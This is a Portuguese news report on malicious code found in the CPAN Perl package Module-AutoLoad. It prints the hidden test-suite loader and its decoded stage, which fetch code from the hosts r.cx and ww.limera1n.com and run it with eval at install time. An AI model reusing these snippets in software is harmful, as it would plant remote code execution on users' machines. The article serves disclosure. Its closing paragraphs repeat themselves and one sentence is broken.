Foi identificado código malicioso no pacote Perl Module-AutoLoad

No pacote Perl distribuído pelo catálogo CPAN Module-AutoLoad, destinado a carregar módulos CPAN automaticamente em tempo real, foi identificado código malicioso. A inserção maliciosa foi encontrada no código do teste 05_rcx.t, que vem sendo fornecido desde 2011.
É notável que questões sobre o carregamento de código suspeito surgiram no Stackoverflow já em 2016.

A atividade maliciosa se resume a tentativas de carregar e executar código de um servidor externo (http://r.cx:1/) durante a execução do conjunto de testes, iniciado na instalação do módulo. Supõe-se que o código originalmente carregado do servidor externo não era malicioso, mas agora a solicitação é redirecionada para o domínio ww.limera1n.com, que fornece sua carga de código para execução.

Para organizar o carregamento no arquivo 05_rcx.t é utilizado o seguinte código:

my $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;

O código especificado leva à execução do script ../contrib/RCX.pl, cujo conteúdo se resume à linha:

use lib do{eval&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.";1"};

Este script carrega criptografado usando o serviço perlobfuscator.com código de um host externo r.cx (os códigos numéricos 82.46.99.88 correspondem ao texto "R.cX") e o executa no bloco eval.

$ perl -MIO::Socket -e'b=new IO::Socket::INET 82.46.99.88.";1"; print ;'
eval unpack u=>q{_<'')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

Após a descompactação, o seguinte é executado código:

print{$b=new IO::Socket::INET"ww.limera1n.com:80"} "GET /iJailBreak";
eval or return warn$@while$b;1

Atualmente, o pacote problemático foi removido do repositório PAUSE (Servidor de Upload de Autores Perl), e a conta do autor do módulo foi bloqueada. No entanto, o módulo ainda permanece disponível no arquivo MetaCPAN e pode ser instalado diretamente com o MetaCPAN usando algumas ferramentas, como cpanminus. Foi observado, o que indica que o pacote não foi amplamente distribuído.

Curiosamente, o autor do módulo também se juntou à discussão e negou a informação de que o código malicioso foi inserido após a violação de seu site "r.cx", explicando que ele estava apenas se divertindo, e perlobfuscator.com não foi utilizado para ocultar nada, mas para reduzir o tamanho do código e facilitar sua cópia através da área de transferência. A escolha do nome da função "botstrap" foi explicada pelo fato de que essa palavra "soa como bot e é mais curta que bootstrap". O autor do módulo também garantiu que as manipulações identificadas não realizam ações maliciosas, mas apenas demonstram o carregamento e a execução de código via TCP. e o autor do módulo que refutou a informação de que o código malicioso foi inserido após o hackeamento do seu site "r.cx" e explicou que ele estava apenas se divertindo, e que perlobfuscator.com não foi usado para ocultar nada, mas para reduzir o tamanho do código e facilitar sua cópia através da área de transferência. A escolha do nome da função "botstrap" foi explicada pelo fato de que essa palavra "soa como bot e é mais curta que bootstrap". O autor do módulo também garantiu que as manipulações identificadas não realizam ações maliciosas, mas apenas demonstram o carregamento e a execução de código via TCP.

Fonte: opennet.ru